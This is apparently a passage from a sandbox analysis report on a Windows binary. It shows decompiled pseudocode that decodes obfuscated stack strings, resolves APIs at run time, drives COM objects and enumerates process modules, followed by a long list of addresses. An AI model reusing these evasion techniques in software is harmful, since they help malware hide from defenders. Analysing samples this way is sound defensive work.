						 *((char*)(_t561 + 0x39)) = 0x21;
						 *((char*)(_t561 + 0x3a)) = 0x2e;
						 *((char*)(_t561 + 0x3b)) = 0xd;
						 *((char*)(_t561 + 0x3c)) = 0xdb;
						 *((char*)(_t561 + 0x3d)) = 0x29;
						 *((char*)(_t561 + 0x3e)) = 0x57;
						 *((char*)(_t561 + 0x3f)) = 0x56;
						 *((char*)(_t561 + 0x40)) = 0xf8;
						 *((char*)(_t561 + 0x41)) = 0x98;
						 *((char*)(_t561 + 0x42)) = 0x5b;
						 *((char*)(_t561 + 0x43)) = 0xf4;
						 *((char*)(_t561 + 0x44)) = 0xb5;
						 *((char*)(_t561 + 0x45)) = 0x87;
						 *((char*)(_t561 + 0x46)) = 0x7b;
						 *((char*)(_t561 + 0x47)) = 0xf;
						 *((char*)(_t561 + 0x48)) = 0xf4;
						 *((char*)(_t561 + 0x49)) = 0x76;
						 *((char*)(_t561 + 0x4a)) = 0xb9;
						 *((char*)(_t561 + 0x4b)) = 0x34;
						 *((char*)(_t561 + 0x4c)) = 0xbf;
						 *((char*)(_t561 + 0x4d)) = 0x1e;
						 *((char*)(_t561 + 0x4e)) = 0xe7;
						 *((char*)(_t561 + 0x4f)) = 0x78;
						 *((char*)(_t561 + 0x50)) = 0x98;
						 *((char*)(_t561 + 0x51)) = 0xe9;
						 *((char*)(_t561 + 0x52)) = 0x6f;
						 *((char*)(_t561 + 0x53)) = 0xb4;
						 *((char*)(_t561 + 0x54)) = 0;
						_t364 = E00401650(_t561 + 0x30, _t561 + 0x110);
						_t562 = _t561 + 0x24;
						_t365 = LoadLibraryA(_t364); // executed
						_t538 = _t365;
						 *((char*)(_t562 + 0x10)) = 0xe0;
						 *((char*)(_t562 + 0x11)) = 0x18;
						 *((char*)(_t562 + 0x12)) = 0xad;
						 *((char*)(_t562 + 0x13)) = 0x36;
						 *((char*)(_t562 + 0x14)) = 0x95;
						 *((char*)(_t562 + 0x15)) = 0x21;
						_t451 = _t562 + 0x134;
						 *((char*)(_t562 + 0x1e)) = 0x2a;
						 *((char*)(_t562 + 0x1f)) = 0x57;
						 *((char*)(_t562 + 0x20)) = 0xda;
						 *((char*)(_t562 + 0x21)) = 0xc;
						 *((char*)(_t562 + 0x22)) = 0x55;
						 *((char*)(_t562 + 0x23)) = 0x25;
						 *((char*)(_t562 + 0x24)) = 0x8c;
						 *((char*)(_t562 + 0x25)) = 0xf9;
						 *((char*)(_t562 + 0x26)) = 0x35;
						 *((char*)(_t562 + 0x27)) = 0x97;
						 *((char*)(_t562 + 0x28)) = 0xd0;
						 *((char*)(_t562 + 0x29)) = 0x87;
						 *((char*)(_t562 + 0x2a)) = 0x7b;
						 *((char*)(_t562 + 0x2b)) = 0xf;
						 *((char*)(_t562 + 0x2c)) = 0xf4;
						 *((char*)(_t562 + 0x2d)) = 0x76;
						 *((char*)(_t562 + 0x2e)) = 0xb9;
						 *((char*)(_t562 + 0x2f)) = 0x34;
						 *((char*)(_t562 + 0x30)) = 0xbf;
						 *((char*)(_t562 + 0x31)) = 0x1e;
						 *((char*)(_t562 + 0x32)) = 0xe7;
						 *((char*)(_t562 + 0x33)) = 0x78;
						 *((char*)(_t562 + 0x34)) = 0x98;
						 *((char*)(_t562 + 0x35)) = 0xe9;
						 *((char*)(_t562 + 0x36)) = 0x6f;
						 *((char*)(_t562 + 0x37)) = 0xb4;
						 *((char*)(_t562 + 0x38)) = 0;
						_t366 = E00401650(_t562 + 0x14, _t451);
						_t563 = _t562 + 8;
						_t367 = GetProcAddress(_t365, _t366);
						__eflags = _t367;
						_t452 = _t451 & 0xffffff00 | _t367 != 0x00000000;
						__eflags = _t452;
						 *(_t563 + 0x47) = _t452 == 0;
						 *0x423480 = _t367;
						 *((intOrPtr*)(_t563 + 0x80)) = 0;
						 *((intOrPtr*)(_t563 + 0x84)) = 0;
						 *((intOrPtr*)(_t563 + 0x4c)) = 0;
						 *(_t563 + 0x58) = 0;
						 *(_t563 + 0x54) = 0;
						__eflags = _t452;
						if(_t452 != 0) {
							_t368 =  *_t367(0x41b230, 0x41b220, _t563 + 0x80); // executed
							__eflags = _t368;
							if(_t368 >= 0) {
								__eflags =  *(_t563 + 0x47);
								if( *(_t563 + 0x47) == 0) {
									 *((intOrPtr*)(_t563 + 0x17c)) = _t563 + 0x17c;
									E004018F0( *((intOrPtr*)(_t563 + 0x38)), _t563 + 0x17c, _t563 + 0x17c,  *((intOrPtr*)(_t563 + 0x38)), 3);
									_t376 =  *((intOrPtr*)(_t563 + 0x80));
									_t378 =  *((intOrPtr*)( *((intOrPtr*)( *_t376 + 0xc))))(_t376,  *((intOrPtr*)(_t563 + 0x178)), 0x41b240, _t563 + 0x84); // executed
									__eflags = _t378;
									if(_t378 >= 0) {
										_t381 =  *((intOrPtr*)(_t563 + 0x84));
										_t383 =  *((intOrPtr*)( *((intOrPtr*)( *_t381 + 0x24))))(_t381, 0x41b210, 0x41b290, _t563 + 0x4c); // executed
										__eflags = _t383;
										if(_t383 >= 0) {
											_t384 =  *((intOrPtr*)(_t563 + 0x4c));
											_t385 =  *((intOrPtr*)( *((intOrPtr*)( *_t384 + 0x28))))(_t384); // executed
											__eflags = _t385;
											if(_t385 >= 0) {
												 *((intOrPtr*)(_t563 + 0x38)) = 0;
												E00401870(_t563 + 0x44, _t552, "_._");
												_t539 = __imp__#8;
												 *((intOrPtr*)(_t563 + 0x40)) = 0;
												 *_t539(_t563 + 0x94);
												E00401870(_t563 + 0x3c, _t552, "___");
												 *_t539(_t563 + 0xa4);
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t563 + 0x4c)))) + 0x34))))( *((intOrPtr*)(_t563 + 0x50)), E004018D0(_t563 + 0x58)); // executed
												_t542 =  *(_t563 + 0x58);
												__eflags = _t542;
												if(_t542 == 0) {
													E0040AD90(0x80004003);
												}
												_t396 =  *((intOrPtr*)( *((intOrPtr*)( *_t542))))(_t542, 0x41b270, E004018D0(_t563 + 0x54));
												 *((intOrPtr*)(_t563 + 0x94)) = _t552 + 0xfffffff2;
												 *((intOrPtr*)(_t563 + 0x98)) = 0;
												__imp__#15(0x11, 1, _t563 + 0x88); // executed
												_t543 = _t396;
												 *((intOrPtr*)(_t563 + 0x50)) = 0;
												__imp__#23(_t543, _t563 + 0x48);
												E0040B350(0, _t528, _t543,  *((intOrPtr*)(_t563 + 0x48)), _t528, _t552 + 0xfffffff2);
												_t564 = _t563 + 0xc;
												__imp__#24(_t543);
												_t399 =  *(_t564 + 0x54);
												__eflags = _t399;
												if(_t399 == 0) {
													_t399 = E0040AD90(0x80004003);
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t399 + 0xb4))))(_t399, _t543, E004018D0(_t564 + 0x34)); // executed
												__eflags = _t543;
												if(_t543 != 0) {
													__imp__#16(_t543); // executed
												}
												_t402 =  *(_t564 + 0x34);
												__eflags = _t402;
												if(_t402 == 0) {
													_t402 = E0040AD90(0x80004003);
												}
												_t469 =  *(_t564 + 0x40);
												_t555 = _t402;
												__eflags = _t469;
												if(_t469 == 0) {
													_t531 = 0;
													__eflags = 0;
												} else {
													_t531 =  *_t469;
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t402 + 0x44))))(_t555, _t531, E004018D0(_t564 + 0x3c)); // executed
												__imp__#411(0xc, 0, 0);
												_t471 =  *(_t564 + 0x3c);
												__eflags = _t471;
												if(_t471 == 0) {
													E0040AD90(0x80004003);
												}
												_t405 =  *(_t564 + 0x38);
												__eflags = _t405;
												if(_t405 == 0) {
													_t514 = 0;
													__eflags = 0;
												} else {
													_t514 =  *_t405;
												}
												_t563 = _t564 - 0x10;
												_t407 = _t563;
												 *_t407 =  *((intOrPtr*)(_t564 + 0x94));
												 *((intOrPtr*)(_t407 + 4)) =  *((intOrPtr*)(_t563 + 0xb0));
												 *((intOrPtr*)(_t407 + 8)) =  *((intOrPtr*)(_t563 + 0xb8));
												_t528 =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)(_t407 + 0xc)) =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)( *((intOrPtr*)( *_t471 + 0xe4))))(_t471, _t514, 0x118, 0, 0, _t564 + 0xa4);
												_t538 = __imp__#9; // 0x76afcf00
												_t538->i(_t563 + 0xa4);
												E004019A0(_t563 + 0x38);
												_t538->i(_t563 + 0x94);
												_t413 =  *(_t563 + 0x3c);
												__eflags = _t413;
												if(_t413 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t413 + 8))))(_t413);
												}
												E004019A0(_t563 + 0x40);
												_t415 =  *(_t563 + 0x34);
												__eflags = _t415;
												if(_t415 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t415 + 8))))(_t415);
												}
											}
										}
									}
									_t379 =  *((intOrPtr*)(_t563 + 0x174));
									__eflags = _t379 - _t563 + 0x178;
									if(__eflags != 0) {
										_push(_t379);
										E0040B6B5(0, _t528, _t538, __eflags);
										_t563 = _t563 + 4;
									}
								}
							}
							_t369 =  *(_t563 + 0x54);
							__eflags = _t369;
							if(_t369 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t369 + 8))))(_t369);
							}
							_t370 =  *(_t563 + 0x58);
							__eflags = _t370;
							if(_t370 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t370 + 8))))(_t370);
							}
						}
						goto L80;
					} else {
						_t428 = E00401650(_t557 + 0x60, _t557 + 0xd4);
						_t565 = _t557 + 8;
						_t547 = _t428;
						_t520 = _t565 + 0x298;
						while(1) {
							_t429 =  *_t520;
							if(_t429 !=  *_t547) {
								break;
							}
							if(_t429 == 0) {
								L7:
								_t429 = 0;
							} else {
								_t493 =  *((intOrPtr*)(_t520 + 1));
								if(_t493 !=  *((intOrPtr*)(_t547 + 1))) {
									break;
								} else {
									_t520 = _t520 + 2;
									_t547 = _t547 + 2;
									if(_t493 != 0) {
										continue;
									} else {
										goto L7;
									}
								}
							}
							L9:
							if(_t429 != 0) {
								_t431 = E00401650(_t565 + 0x14, _t565 + 0xb4);
								_t557 = _t565 + 8;
								_t548 = _t431;
								_t488 = _t557 + 0x298;
								while(1) {
									_t432 =  *_t488;
									__eflags = _t432 -  *_t548;
									if(_t432 !=  *_t548) {
										break;
									}
									__eflags = _t432;
									if(_t432 == 0) {
										L16:
										_t432 = 0;
									} else {
										_t432 =  *((intOrPtr*)(_t488 + 1));
										__eflags = _t432 -  *((intOrPtr*)(_t548 + 1));
										if(_t432 !=  *((intOrPtr*)(_t548 + 1))) {
											break;
										} else {
											_t488 = _t488 + 2;
											_t548 = _t548 + 2;
											__eflags = _t432;
											if(_t432 != 0) {
												continue;
											} else {
												goto L16;
											}
										}
									}
									L18:
									__eflags = _t432;
									if(_t432 == 0) {
										goto L10;
									} else {
										_t435 = Module32Next(_t525, _t557 + 0x278);
										__eflags = _t435;
										if(_t435 != 0) {
											do {
												_t437 = E00401650(_t557 + 0x60, _t557 + 0xd4);
												_t566 = _t557 + 8;
												_t549 = _t437;
												_t490 = _t566 + 0x298;
												while(1) {
													_t438 =  *_t490;
													__eflags = _t438 -  *_t549;
													if(_t438 !=  *_t549) {
														break;
													}
													__eflags = _t438;
													if(_t438 == 0) {
														L26:
														_t438 = 0;
													} else {
														_t438 =  *((intOrPtr*)(_t490 + 1));
														__eflags = _t438 -  *((intOrPtr*)(_t549 + 1));
														if(_t438 !=  *((intOrPtr*)(_t549 + 1))) {
															break;
														} else {
															_t490 = _t490 + 2;
															_t549 = _t549 + 2;
															__eflags = _t438;
															if(_t438 != 0) {
																continue;
															} else {
																goto L26;
															}
														}
													}
													L28:
													__eflags = _t438;
													if(_t438 == 0) {
														goto L10;
													} else {
														_t439 = E00401650(_t566 + 0x14, _t566 + 0xb4);
														_t557 = _t566 + 8;
														_t550 = _t439;
														_t492 = _t557 + 0x298;
														while(1) {
															_t440 =  *_t492;
															__eflags = _t440 -  *_t550;
															if(_t440 !=  *_t550) {
																break;
															}
															__eflags = _t440;
															if(_t440 == 0) {
																L34:
																_t440 = 0;
															} else {
																_t440 =  *((intOrPtr*)(_t492 + 1));
																__eflags = _t440 -  *((intOrPtr*)(_t550 + 1));
																if(_t440 !=  *((intOrPtr*)(_t550 + 1))) {
																	break;
																} else {
																	_t492 = _t492 + 2;
																	_t550 = _t550 + 2;
																	__eflags = _t440;
																	if(_t440 != 0) {
																		continue;
																	} else {
																		goto L34;
																	}
																}
															}
															L36:
															__eflags = _t440;
															if(_t440 == 0) {
																goto L10;
															} else {
																goto L37;
															}
															goto L81;
														}
														asm("sbb eax, eax");
														asm("sbb eax, 0xffffffff");
														goto L36;
													}
													goto L81;
												}
												asm("sbb eax, eax");
												asm("sbb eax, 0xffffffff");
												goto L28;
												L37:
												_t442 = Module32Next(_t525, _t557 + 0x278);
												__eflags = _t442;
											} while (_t442 != 0);
										}
										goto L38;
									}
									goto L81;
								}
								asm("sbb eax, eax");
								asm("sbb eax, 0xffffffff");
								goto L18;
							} else {
								L10:
								CloseHandle(_t525);
								return 0;
							}
							goto L81;
						}
						asm("sbb eax, eax");
						asm("sbb eax, 0xffffffff");
						goto L9;
					}
				}
				L81:
			}

































































































                                                                                                                                                                                          0x004019f0
                                                                                                                                                                                          0x004019f0
                                                                                                                                                                                          0x004019fd
                                                                                                                                                                                          0x00401a10
                                                                                                                                                                                          0x00401a15
                                                                                                                                                                                          0x00401a1a
                                                                                                                                                                                          0x00401a1f
                                                                                                                                                                                          0x00401a24
                                                                                                                                                                                          0x00401a29
                                                                                                                                                                                          0x00401a2e
                                                                                                                                                                                          0x00401a33
                                                                                                                                                                                          0x00401a38
                                                                                                                                                                                          0x00401a3d
                                                                                                                                                                                          0x00401a42
                                                                                                                                                                                          0x00401a47
                                                                                                                                                                                          0x00401a4c
                                                                                                                                                                                          0x00401a51
                                                                                                                                                                                          0x00401a56
                                                                                                                                                                                          0x00401a5b
                                                                                                                                                                                          0x00401a60
                                                                                                                                                                                          0x00401a65
                                                                                                                                                                                          0x00401a6a
                                                                                                                                                                                          0x00401a6f
                                                                                                                                                                                          0x00401a74
                                                                                                                                                                                          0x00401a79
                                                                                                                                                                                          0x00401a7e
                                                                                                                                                                                          0x00401a83
                                                                                                                                                                                          0x00401a88
                                                                                                                                                                                          0x00401a8d
                                                                                                                                                                                          0x00401a92
                                                                                                                                                                                          0x00401a97
                                                                                                                                                                                          0x00401a9c
                                                                                                                                                                                          0x00401aa1
                                                                                                                                                                                          0x00401aa6
                                                                                                                                                                                          0x00401aab
                                                                                                                                                                                          0x00401ab0
                                                                                                                                                                                          0x00401ab9
                                                                                                                                                                                          0x00401aba
                                                                                                                                                                                          0x00401abf
                                                                                                                                                                                          0x00401ac7
                                                                                                                                                                                          0x0040248d
                                                                                                                                                                                          0x0040248d
                                                                                                                                                                                          0x00402496
                                                                                                                                                                                          0x00401acd
                                                                                                                                                                                          0x00401ad6
                                                                                                                                                                                          0x00401ae2
                                                                                                                                                                                          0x00401ae6
                                                                                                                                                                                          0x00401af1
                                                                                                                                                                                          0x00401af6
                                                                                                                                                                                          0x00401afb
                                                                                                                                                                                          0x00401b00
                                                                                                                                                                                          0x00401b05
                                                                                                                                                                                          0x00401b0a
                                                                                                                                                                                          0x00401b0f
                                                                                                                                                                                          0x00401b14
                                                                                                                                                                                          0x00401b19
                                                                                                                                                                                          0x00401b1e
                                                                                                                                                                                          0x00401b23
                                                                                                                                                                                          0x00401b28
                                                                                                                                                                                          0x00401b2d
                                                                                                                                                                                          0x00401b32
                                                                                                                                                                                          0x00401b37
                                                                                                                                                                                          0x00401b3c
                                                                                                                                                                                          0x00401b41
                                                                                                                                                                                          0x00401b46
                                                                                                                                                                                          0x00401b4b
                                                                                                                                                                                          0x00401b50
                                                                                                                                                                                          0x00401b55
                                                                                                                                                                                          0x00401b5a
                                                                                                                                                                                          0x00401b5f
                                                                                                                                                                                          0x00401b64
                                                                                                                                                                                          0x00401b69
                                                                                                                                                                                          0x00401b6e
                                                                                                                                                                                          0x00401b73
                                                                                                                                                                                          0x00401b78
                                                                                                                                                                                          0x00401b7d
                                                                                                                                                                                          0x00401b85
                                                                                                                                                                                          0x00401b8d
                                                                                                                                                                                          0x00401b95
                                                                                                                                                                                          0x00401b9d
                                                                                                                                                                                          0x00401ba4
                                                                                                                                                                                          0x00401ba9
                                                                                                                                                                                          0x00401bae
                                                                                                                                                                                          0x00401bb3
                                                                                                                                                                                          0x00401bb8
                                                                                                                                                                                          0x00401bbd
                                                                                                                                                                                          0x00401bc2
                                                                                                                                                                                          0x00401bc7
                                                                                                                                                                                          0x00401bcc
                                                                                                                                                                                          0x00401bd1
                                                                                                                                                                                          0x00401bd6
                                                                                                                                                                                          0x00401bdb
                                                                                                                                                                                          0x00401be0
                                                                                                                                                                                          0x00401be5
                                                                                                                                                                                          0x00401bea
                                                                                                                                                                                          0x00401bef
                                                                                                                                                                                          0x00401bf4
                                                                                                                                                                                          0x00401bf9
                                                                                                                                                                                          0x00401bfe
                                                                                                                                                                                          0x00401c03
                                                                                                                                                                                          0x00401c08
                                                                                                                                                                                          0x00401c0d
                                                                                                                                                                                          0x00401c12
                                                                                                                                                                                          0x00401c17
                                                                                                                                                                                          0x00401c1c
                                                                                                                                                                                          0x00401c21
                                                                                                                                                                                          0x00401c26
                                                                                                                                                                                          0x00401c2b
                                                                                                                                                                                          0x00401c30
                                                                                                                                                                                          0x00401c35
                                                                                                                                                                                          0x00401c3a
                                                                                                                                                                                          0x00401c3f
                                                                                                                                                                                          0x00401c44
                                                                                                                                                                                          0x00401c48
                                                                                                                                                                                          0x00401c4f
                                                                                                                                                                                          0x00401dc3
                                                                                                                                                                                          0x00401dc4
                                                                                                                                                                                          0x00401de0
                                                                                                                                                                                          0x00401de2
                                                                                                                                                                                          0x00401de7
                                                                                                                                                                                          0x00401dec
                                                                                                                                                                                          0x00401df1
                                                                                                                                                                                          0x00401df6
                                                                                                                                                                                          0x00401dfb
                                                                                                                                                                                          0x00401e00
                                                                                                                                                                                          0x00401e05
                                                                                                                                                                                          0x00401e0a
                                                                                                                                                                                          0x00401e0f
                                                                                                                                                                                          0x00401e14
                                                                                                                                                                                          0x00401e19
                                                                                                                                                                                          0x00401e1e
                                                                                                                                                                                          0x00401e23
                                                                                                                                                                                          0x00401e28
                                                                                                                                                                                          0x00401e2d
                                                                                                                                                                                          0x00401e32
                                                                                                                                                                                          0x00401e37
                                                                                                                                                                                          0x00401e3c
                                                                                                                                                                                          0x00401e41
                                                                                                                                                                                          0x00401e46
                                                                                                                                                                                          0x00401e4b
                                                                                                                                                                                          0x00401e50
                                                                                                                                                                                          0x00401e55
                                                                                                                                                                                          0x00401e5a
                                                                                                                                                                                          0x00401e5f
                                                                                                                                                                                          0x00401e64
                                                                                                                                                                                          0x00401e69
                                                                                                                                                                                          0x00401e6e
                                                                                                                                                                                          0x00401e73
                                                                                                                                                                                          0x00401e78
                                                                                                                                                                                          0x00401e7d
                                                                                                                                                                                          0x00401e82
                                                                                                                                                                                          0x00401e86
                                                                                                                                                                                          0x00401e8b
                                                                                                                                                                                          0x00401e96
                                                                                                                                                                                          0x00401e9a
                                                                                                                                                                                          0x00401ea4
                                                                                                                                                                                          0x00401eaf
                                                                                                                                                                                          0x00401eba
                                                                                                                                                                                          0x00401ebf
                                                                                                                                                                                          0x00401ec4
                                                                                                                                                                                          0x00401ec6
                                                                                                                                                                                          0x00401ecb
                                                                                                                                                                                          0x00401ece
                                                                                                                                                                                          0x00401ed2
                                                                                                                                                                                          0x00401ed4
                                                                                                                                                                                          0x00401eef
                                                                                                                                                                                          0x00401ed6
                                                                                                                                                                                          0x00401edd
                                                                                                                                                                                          0x00401ee2
                                                                                                                                                                                          0x00401ee6
                                                                                                                                                                                          0x00401ee9
                                                                                                                                                                                          0x00401ee9
                                                                                                                                                                                          0x00401ef7
                                                                                                                                                                                          0x00401efc
                                                                                                                                                                                          0x00401f02
                                                                                                                                                                                          0x00401f08
                                                                                                                                                                                          0x00401f0c
                                                                                                                                                                                          0x00401f15
                                                                                                                                                                                          0x00401f18
                                                                                                                                                                                          0x00401f1a
                                                                                                                                                                                          0x00401f1c
                                                                                                                                                                                          0x00401f22
                                                                                                                                                                                          0x00401f22
                                                                                                                                                                                          0x00401f24
                                                                                                                                                                                          0x00401f28
                                                                                                                                                                                          0x00401f2f
                                                                                                                                                                                          0x00401f33
                                                                                                                                                                                          0x00401f33
                                                                                                                                                                                          0x00401f40
                                                                                                                                                                                          0x00401f45
                                                                                                                                                                                          0x00401f4a
                                                                                                                                                                                          0x00401f4b
                                                                                                                                                                                          0x00401f50
                                                                                                                                                                                          0x00401f58
                                                                                                                                                                                          0x00401f58
                                                                                                                                                                                          0x00401f58
                                                                                                                                                                                          0x00401f58
                                                                                                                                                                                          0x00401f33
                                                                                                                                                                                          0x00401f63
                                                                                                                                                                                          0x00401f63
                                                                                                                                                                                          0x00401f69
                                                                                                                                                                                          0x00401f72
                                                                                                                                                                                          0x00401f72
                                                                                                                                                                                          0x00401f72
                                                                                                                                                                                          0x00401f73
                                                                                                                                                                                          0x00401f75
                                                                                                                                                                                          0x00401f7b
                                                                                                                                                                                          0x00401f80
                                                                                                                                                                                          0x00401f81
                                                                                                                                                                                          0x00401f86
                                                                                                                                                                                          0x00401f86
                                                                                                                                                                                          0x00401f8c
                                                                                                                                                                                          0x00401f8d
                                                                                                                                                                                          0x00401f8d
                                                                                                                                                                                          0x00401f9d
                                                                                                                                                                                          0x00401fa2
                                                                                                                                                                                          0x00401fa6
                                                                                                                                                                                          0x00401fac
                                                                                                                                                                                          0x00401faf
                                                                                                                                                                                          0x00401fb6
                                                                                                                                                                                          0x00401fbf
                                                                                                                                                                                          0x00401fc4
                                                                                                                                                                                          0x00401fc8
                                                                                                                                                                                          0x00401fce
                                                                                                                                                                                          0x00401fd3
                                                                                                                                                                                          0x00401fe0
                                                                                                                                                                                          0x00401fec
                                                                                                                                                                                          0x00401ffe
                                                                                                                                                                                          0x00402001
                                                                                                                                                                                          0x00402006
                                                                                                                                                                                          0x0040200b
                                                                                                                                                                                          0x00402010
                                                                                                                                                                                          0x00402015
                                                                                                                                                                                          0x0040201a
                                                                                                                                                                                          0x0040201f
                                                                                                                                                                                          0x00402024
                                                                                                                                                                                          0x00402029
                                                                                                                                                                                          0x0040202e
                                                                                                                                                                                          0x00402033
                                                                                                                                                                                          0x00402038
                                                                                                                                                                                          0x0040203d
                                                                                                                                                                                          0x00402042
                                                                                                                                                                                          0x00402047
                                                                                                                                                                                          0x0040204c
                                                                                                                                                                                          0x00402051
                                                                                                                                                                                          0x00402056
                                                                                                                                                                                          0x0040205b
                                                                                                                                                                                          0x00402060
                                                                                                                                                                                          0x00402065
                                                                                                                                                                                          0x0040206a
                                                                                                                                                                                          0x0040206f
                                                                                                                                                                                          0x00402074
                                                                                                                                                                                          0x00402079
                                                                                                                                                                                          0x0040207e
                                                                                                                                                                                          0x00402083
                                                                                                                                                                                          0x00402088
                                                                                                                                                                                          0x0040208d
                                                                                                                                                                                          0x00402092
                                                                                                                                                                                          0x00402097
                                                                                                                                                                                          0x0040209c
                                                                                                                                                                                          0x004020a1
                                                                                                                                                                                          0x004020a5
                                                                                                                                                                                          0x004020aa
                                                                                                                                                                                          0x004020ae
                                                                                                                                                                                          0x004020b4
                                                                                                                                                                                          0x004020b6
                                                                                                                                                                                          0x004020bb
                                                                                                                                                                                          0x004020c0
                                                                                                                                                                                          0x004020c5
                                                                                                                                                                                          0x004020ca
                                                                                                                                                                                          0x004020cf
                                                                                                                                                                                          0x004020d4
                                                                                                                                                                                          0x004020e1
                                                                                                                                                                                          0x004020e6
                                                                                                                                                                                          0x004020eb
                                                                                                                                                                                          0x004020f0
                                                                                                                                                                                          0x004020f5
                                                                                                                                                                                          0x004020fa
                                                                                                                                                                                          0x004020ff
                                                                                                                                                                                          0x00402104
                                                                                                                                                                                          0x00402109
                                                                                                                                                                                          0x0040210e
                                                                                                                                                                                          0x00402113
                                                                                                                                                                                          0x00402118
                                                                                                                                                                                          0x0040211d
                                                                                                                                                                                          0x00402122
                                                                                                                                                                                          0x00402127
                                                                                                                                                                                          0x0040212c
                                                                                                                                                                                          0x00402131
                                                                                                                                                                                          0x00402136
                                                                                                                                                                                          0x0040213b
                                                                                                                                                                                          0x00402140
                                                                                                                                                                                          0x00402145
                                                                                                                                                                                          0x0040214a
                                                                                                                                                                                          0x0040214f
                                                                                                                                                                                          0x00402154
                                                                                                                                                                                          0x00402159
                                                                                                                                                                                          0x0040215e
                                                                                                                                                                                          0x00402163
                                                                                                                                                                                          0x00402167
                                                                                                                                                                                          0x0040216c
                                                                                                                                                                                          0x00402171
                                                                                                                                                                                          0x00402177
                                                                                                                                                                                          0x00402179
                                                                                                                                                                                          0x0040217c
                                                                                                                                                                                          0x0040217e
                                                                                                                                                                                          0x00402183
                                                                                                                                                                                          0x00402188
                                                                                                                                                                                          0x0040218f
                                                                                                                                                                                          0x00402196
                                                                                                                                                                                          0x0040219a
                                                                                                                                                                                          0x0040219e
                                                                                                                                                                                          0x004021a2
                                                                                                                                                                                          0x004021a4
                                                                                                                                                                                          0x004021bc
                                                                                                                                                                                          0x004021be
                                                                                                                                                                                          0x004021c0
                                                                                                                                                                                          0x004021c6
                                                                                                                                                                                          0x004021ca
                                                                                                                                                                                          0x004021e5
                                                                                                                                                                                          0x004021ec
                                                                                                                                                                                          0x004021f1
                                                                                                                                                                                          0x00402213
                                                                                                                                                                                          0x00402215
                                                                                                                                                                                          0x00402217
                                                                                                                                                                                          0x0040221d
                                                                                                                                                                                          0x00402239
                                                                                                                                                                                          0x0040223b
                                                                                                                                                                                          0x0040223d
                                                                                                                                                                                          0x00402243
                                                                                                                                                                                          0x0040224d
                                                                                                                                                                                          0x0040224f
                                                                                                                                                                                          0x00402251
                                                                                                                                                                                          0x00402260
                                                                                                                                                                                          0x00402264
                                                                                                                                                                                          0x00402269
                                                                                                                                                                                          0x00402277
                                                                                                                                                                                          0x0040227b
                                                                                                                                                                                          0x00402286
                                                                                                                                                                                          0x00402293
                                                                                                                                                                                          0x004022af
                                                                                                                                                                                          0x004022b1
                                                                                                                                                                                          0x004022b5
                                                                                                                                                                                          0x004022b7
                                                                                                                                                                                          0x004022be
                                                                                                                                                                                          0x004022be
                                                                                                                                                                                          0x004022d7
                                                                                                                                                                                          0x004022e8
                                                                                                                                                                                          0x004022ef
                                                                                                                                                                                          0x004022f6
                                                                                                                                                                                          0x00402300
                                                                                                                                                                                          0x00402304
                                                                                                                                                                                          0x00402308
                                                                                                                                                                                          0x00402315
                                                                                                                                                                                          0x0040231a
                                                                                                                                                                                          0x0040231e
                                                                                                                                                                                          0x00402324
                                                                                                                                                                                          0x00402328
                                                                                                                                                                                          0x0040232a
                                                                                                                                                                                          0x00402331
                                                                                                                                                                                          0x00402331
                                                                                                                                                                                          0x0040234e
                                                                                                                                                                                          0x00402350
                                                                                                                                                                                          0x00402352
                                                                                                                                                                                          0x00402355
                                                                                                                                                                                          0x00402355
                                                                                                                                                                                          0x0040235b
                                                                                                                                                                                          0x0040235f
                                                                                                                                                                                          0x00402361
                                                                                                                                                                                          0x00402368
                                                                                                                                                                                          0x00402368
                                                                                                                                                                                          0x0040236d
                                                                                                                                                                                          0x00402371
                                                                                                                                                                                          0x00402373
                                                                                                                                                                                          0x00402375
                                                                                                                                                                                          0x0040237b
                                                                                                                                                                                          0x0040237b
                                                                                                                                                                                          0x00402377
                                                                                                                                                                                          0x00402377
                                                                                                                                                                                          0x00402377
                                                                                                                                                                                          0x00402390
                                                                                                                                                                                          0x00402396
                                                                                                                                                                                          0x0040239c
                                                                                                                                                                                          0x004023a0
                                                                                                                                                                                          0x004023a2
                                                                                                                                                                                          0x004023a9
                                                                                                                                                                                          0x004023a9
                                                                                                                                                                                          0x004023ae
                                                                                                                                                                                          0x004023b2
                                                                                                                                                                                          0x004023b4
                                                                                                                                                                                          0x004023ba
                                                                                                                                                                                          0x004023ba
                                                                                                                                                                                          0x004023b6
                                                                                                                                                                                          0x004023b6
                                                                                                                                                                                          0x004023b6
                                                                                                                                                                                          0x004023ce
                                                                                                                                                                                          0x004023d1
                                                                                                                                                                                          0x004023d3
                                                                                                                                                                                          0x004023dd
                                                                                                                                                                                          0x004023ec
                                                                                                                                                                                          0x004023ef
                                                                                                                                                                                          0x004023fe
                                                                                                                                                                                          0x00402401
                                                                                                                                                                                          0x00402403
                                                                                                                                                                                          0x00402411
                                                                                                                                                                                          0x00402417
                                                                                                                                                                                          0x00402424
                                                                                                                                                                                          0x00402426
                                                                                                                                                                                          0x0040242a
                                                                                                                                                                                          0x0040242c
                                                                                                                                                                                          0x00402434
                                                                                                                                                                                          0x00402434
                                                                                                                                                                                          0x0040243a
                                                                                                                                                                                          0x0040243f
                                                                                                                                                                                          0x00402443
                                                                                                                                                                                          0x00402445
                                                                                                                                                                                          0x0040244d
                                                                                                                                                                                          0x0040244d
                                                                                                                                                                                          0x00402445
                                                                                                                                                                                          0x00402251
                                                                                                                                                                                          0x0040223d
                                                                                                                                                                                          0x0040244f
                                                                                                                                                                                          0x0040245d
                                                                                                                                                                                          0x0040245f
                                                                                                                                                                                          0x00402461
                                                                                                                                                                                          0x00402462
                                                                                                                                                                                          0x00402467
                                                                                                                                                                                          0x00402467
                                                                                                                                                                                          0x0040245f
                                                                                                                                                                                          0x004021ca
                                                                                                                                                                                          0x0040246a
                                                                                                                                                                                          0x0040246e
                                                                                                                                                                                          0x00402470
                                                                                                                                                                                          0x00402478
                                                                                                                                                                                          0x00402478
                                                                                                                                                                                          0x0040247a
                                                                                                                                                                                          0x0040247e
                                                                                                                                                                                          0x00402480
                                                                                                                                                                                          0x00402488
